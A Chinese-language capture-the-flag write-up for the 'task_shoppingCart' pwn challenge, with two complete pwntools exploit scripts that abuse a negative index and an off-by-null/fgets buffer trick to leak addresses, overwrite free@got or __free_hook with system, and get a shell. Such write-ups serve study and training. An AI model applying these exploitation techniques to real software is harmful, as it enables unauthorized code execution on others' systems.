# 护网杯 task_shoppingCart 记录

## 前言

相关题目位于

https://gitee.com/hac425/blog_data/tree/master/hwb

## task_shoppingCart

漏洞位于 `00BD9`

用户输入 `idx` 然后根据索引找到表项（`T`），然后取 `T` 开头的 `8` 字节作为指针，先打印内容，然后修改。

通过漏洞，加上上图那种逻辑结构我们就可以查看并修改 `data` 的数据。

这个题的关键工作就是构造上图的结构。

开始以为和之前的一场比赛的题一样，程序中会有一个地方存着指向 `got` 表的指针

https://www.cnblogs.com/hac425/p/9416777.html

发现在程序开了 `pie` 后貌似就没有了。

## 方法一

后来看 `wp` 发现在 `0x202068` 处存放着一个指针，指向自身，这个指针貌似是在 `fini_array` 的函数里面会用到。

可以用它来做信息泄露

调试时

### 泄露程序基地址

利用 `0x202068` 这个指向自身的特性，最后我们可以拿到 程序的基地址

```
# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针，通过这个可以 leak  bin 的基地址。
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-47))

p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
bin.address = leak - 0x202068
info("bin.address: {}".format(hex(bin.address)))
# padding
p.send(p64(bin.address + 0x202140))
```

## 构造结构，查看并修改 got 表

最终需要构造的结构为

其中 0x0000555555756018 为 free@got 的地址。

利用开始创建的两个 account 来构造即可。

然后在泄露出 free 的地址后，把 free@got 改成 system ，然后 free("sh\x00") 即可 。

具体 exp:

```
#!/usr/bin/env python
# encoding: utf-8
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
# context.log_level = "debug"
BinPath = "./task_shoppingCart"
LibcPath = "/lib/x86_64-linux-gnu/libc-2.23.so"
bin = ELF(BinPath)
libc = ELF(LibcPath)
bin.address = 0x0000555555554000
# context.binary = bin

p = process(BinPath, aslr=0)


def login():
    p.sendlineafter("EMMmmm, you will be a rich man!", "1")
    p.sendlineafter("RMB or Dollar?", "RMB")

def logout():
```

```
    p.sendlineafter("EMMmmm, you will be a rich man!", "3")


def create_good(data, length):
    p.sendlineafter("Now, buy buy buy!", "1")
    p.sendlineafter("How long is your goods name?", str(length))
    p.sendafter("What is your goods name?", data)


def modify_good(idx, data):
    p.sendlineafter("Now, buy buy buy!", "3")
    p.sendlineafter("Which goods you need to modify?", str(idx))
    p.sendafter("OK, what would you like", data)

def free_good(idx):
    p.sendlineafter("Now, buy buy buy!", "2")
    p.sendlineafter("Which goods that you don't need?", str(idx))

# 创建两个 account, 后面用于伪造结构
login()
login()
logout()

create_good("sh\x00" , 8)
create_good("b" * 8 , 8)
create_good("c" * 8 , 8)

free_good(1)



# (0x2021E0-0x202068)/8 , 0x202068存放指向自身的指针，通过这个可以 leak  bin 的基地址。
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-47))

p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
bin.address = leak - 0x202068
info("bin.address: {}".format(hex(bin.address)))
#  accouont_table 的地址
p.send(p64(bin.address + 0x202140))
```

```
# 利用 account 1 , 往 0x2020A0 写入 puts@got 的地址
modify_good(-20, p64(bin.got['free']))

# 利用 account 2 , 往 0x2020A8 写入 0x2020A0, 构造一个写的结构
modify_good(-19, p64(bin.address + 0x2020A0))

# gdb.attach(p, """
# break *0x0555555554C45
# """)
# pause()

# (0x2021E0-0x2020A8)/8
p.sendlineafter("Now, buy buy buy!", "3")
p.sendlineafter("Which goods you need to modify?", str(-39))

p.recvuntil("to modify ")
leak = u64(p.recvuntil(" to?", drop=True).ljust(8, "\x00"))
libc.address = leak - libc.symbols['free']
info("libc.address: {}".format(hex(libc.address)))

p.send(p64(libc.symbols['system'])[0:7])
free_good(0)
p.interactive()
```

# 方法二

这个方法主要利用的是 `off by null` 和 `fgets` 的工作特性。

首先是 `off by null`

这里往 `name_ptr` 的 第 `9` 个字节写 `\x00` ， 通过改 `currency_type` 的最后一项可以让 `account_table` 第一项的第一个字节为 `\x00`， 这样会让指针落在 `stdin` 用于暂存数据的缓冲区。

在第一次调用 `fgets` 时，会为 `fp` 参数的 `_IO_buf_base` 分配一块内存用于暂存用户发过来的数据。

这块缓冲区是在 `heap` 区的顶部。所以当 `account_table[0]` 的指针的最低字节被置 `\x00` 后，会落入 `stdin` 的 `_IO_buf_base` 里面， 于是我们通过往程序发送数据，就可以构造我们之前所说的那种实现地址写读写的操作。

详细可以看 `exp`：

```
#!/usr/bin/env python
# encoding: utf-8

from pwn import *
import time

libc_name = '/lib/x86_64-linux-gnu/libc-2.23.so'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./task_shoppingCart')

p = process('./task_shoppingCart', aslr=0)
libc = ELF(libc_name)


def add(size, name):
    p.recvuntil("Now, buy buy buy!")
    p.sendline('1')
    p.recvuntil("name?")
    p.sendline(str(size))
    p.recvuntil("What is your goods name?")
    p.send(name)


def delete(idx):
    p.recvuntil("Now, buy buy buy!")
    p.sendline('2')
    p.recvuntil("Which goods that you don't need?")
    p.sendline(str(idx))


def edit(idx):
    p.recvuntil("Now, buy buy buy!")
    p.sendline('3')
    p.recvuntil("Which goods you need to modify?")
    p.sendline(str(idx))


def edit_vul(context):
    p.recvuntil("Now, buy buy buy!")
    p.sendline('3')
```

```
    p.recvuntil("Which goods you need to modify?")
    p.send(context)


# 首先填满 account 数组
for i in range(0x13):
    p.recvuntil("EMMmmm, you will be a rich man!")
    p.sendline('1')
    p.recvuntil("I will give you $9999, but what's the  currency type you want, RMB or Dollar?")
    p.sendline('a' * 8)

p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('1')
p.recvuntil("I will give you $9999, but what's the  currency type you want, RMB or Dollar?")
p.sendline('b' * 8)
p.recvuntil("EMMmmm, you will be a rich man!")
p.sendline('3')


# 构造一个 unsorted bin , 目的是为了 unsorted bin  里面的两个指针
add(0x100, 'p4nda')  # 0
add(0x70, '/bin/sh\x00')  # 1
delete(0)

# 通过 分配 0 字节大小的 name, 可以绕过 create good 时的 设置 \x00 , 进而泄露出 libc
add(0, '')  # 2
edit(2)

p.recvuntil('OK, what would you like to modify ')
libc_addr = u64(p.recv(6).ljust(8, '\x00'))
libc.address = libc_addr - 0x10 - 344 - libc.symbols['__malloc_hook']
p.send('p4nda')
print '[+] leak', hex(libc_addr)
print '[+] system', hex(libc.symbols['system'])




# 编辑 account_table[19]
edit((0x202140 + 19 * 8 - 0x2021E0) / 8 & 0xffffffffffffffff)
p.recvuntil('to?')
p.send('d' * 8)
```

```
gdb.attach(p)
pause()

payload = (str((0x202140 - 0x2021E0) / 8 & 0xffffffffffffffff) + '\n')

# fgets 的工作流程应该是 :
# 1. 用户发送数据到程序， 程序把数据存在 stdin 的暂存缓冲区
# 2. fgets 按需取数据
payload += (str(2) + '\n')
payload += (str(1) + '\n')

payload = payload.ljust(0x1000 - 0x20, 'a')
payload += p64(libc.symbols['__free_hook'])

edit_vul(payload)

# 写数据用的是 read ， 也许会清空之前的缓存数据?
p.recvuntil('to?')
p.send(p64(libc.symbols['system']))

p.interactive()
```

# 参考


https://xz.aliyun.com/t/2897#toc-5

https://xz.aliyun.com/t/2892#toc-3

https://xz.aliyun.com/t/2893#toc-7


来源： https://www.cnblogs.com/hac425/p/9794873.html